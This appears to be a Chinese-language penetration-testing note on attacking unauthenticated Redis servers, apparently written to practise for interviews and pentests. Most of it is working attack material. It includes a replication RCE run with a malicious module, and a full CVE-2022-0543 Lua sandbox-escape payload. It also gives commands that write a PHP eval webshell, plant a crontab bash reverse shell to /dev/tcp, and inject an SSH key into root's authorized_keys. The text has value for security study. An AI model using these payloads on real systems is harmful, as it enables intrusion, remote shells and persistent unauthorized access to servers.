redis相关知识

搭java环境老是出问题 烦了 来复现一下 redis 面试和渗透测试经常会出现 没有系统去总结过

漏洞

Redis 4.x/5.x 主从复制导致的命令执行

端口开在 6379

image-20220809200946448

直接连接 存在未授权访问

直接拿脚本打

1
python3 redis-master.py -r 192.168.0.101 -p 6379 -L 192.168.33.133 -P 9999 -f RedisModulesSDK/exp.so -c "id"

image-20220809202527264

分析一下原理

恶意模块加载

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

1
docker cp /home/ubuntu/Desktop/Temp/redis-rce/exp.so Docker_ID:/data/exp.so

image-20220809203322886

主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

说白了 就是利用这个东西把so文件写进去

Redis Lua沙盒绕过命令执行(CVE-2022-0543)

我们借助Lua沙箱中遗留的变量packageloadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

1
2
3
4
5
6
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

连接redis,使用eval命令执行上述脚本:

1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

可见命令已成功执行:

写webshell

利用 redis 备份文件向 web 根目录写 webshell,使用条件:

  • 已知网站根目录
  • 有文件读写权限
1
2
3
4
5
6
7
8
9
10
┌──(root kali)-[~]
└─# redis-cli -h 192.168.0.103 -p 6379
192.168.0.103:6379> config set dir /var/www/html
OK
192.168.0.103:6379> config set dbfilename shell.php
OK
192.168.0.103:6379> set shell "<?php eval($_GET[1]);?>"
OK
192.168.0.103:6379> save
OK

crontab反弹shell

写定时任务的两个文件:

  1. /var/spool/cron/目录下存放的是每个用户包括 root 的 crontab 任务,Ubuntu 系统在/var/spool/cron/crontabs/<username>,Centos 系统则在/var/spool/cron/<username>
  2. /etc/crontab这个文件负责调度各种管理和维护任务,Centos 和 Ubuntu 系统均存在这个文件,需要 root 权限
  • bash 反弹 shell

这种方法在 ubuntu 不能够使用,原因有两个

  1. 如果写/etc/crontab文件,会夹杂脏数据导致命令语法报错
  2. 如果写/var/spool/cron/crontabs/<username>文件因为 redis 写 644 的权限,但 ubuntu 要求执行定时任务文件权限必须是 600,否则报错INSECURE MODE (mode 0600 expected) (crontabs/root),并且写这个文件也会语法报错

但是在 centos 上则不会,所以在 centos 上可以使用这种方法

1
2
3
4
config set dir /var/spool/cron
config set dbfilename root
set shell "\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n"
save

写ssh-key

使用条件比较苛刻:

  • redis 是以 root 权限启动
  • 允许密钥登陆

一般 ssh 公钥存放目录为/root/.ssh,目的就是将自己的公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以直接使用对应的私钥登录目标服务器,复现步骤如下

  1. 在本地生成公私钥ssh-keygen -t rsa

1646189491_621edbb3defa387369497.png!small?1646189490788

  1. 将公钥写入临时文件中
1
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/rsa.txt   
  1. 同样的使用 config 写入文件
1
2
3
4
5
cat /tmp/rsa.txt | redis-cli -h ip -p 6379 -x set rsa
redis-cli -h ip -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
  1. ssh登录
1
ssh -i id_rsa root@ip

网上有利用脚本:https://github.com/JoyChou93/hackredis

reference

Redis 命令 | 菜鸟教程 (runoob.com)

渗透测试 | Redis渗透 - FreeBuf网络安全行业门户

Redis系列漏洞总结 - FreeBuf网络安全行业门户

Redis安全问题 - FreeBuf网络安全行业门户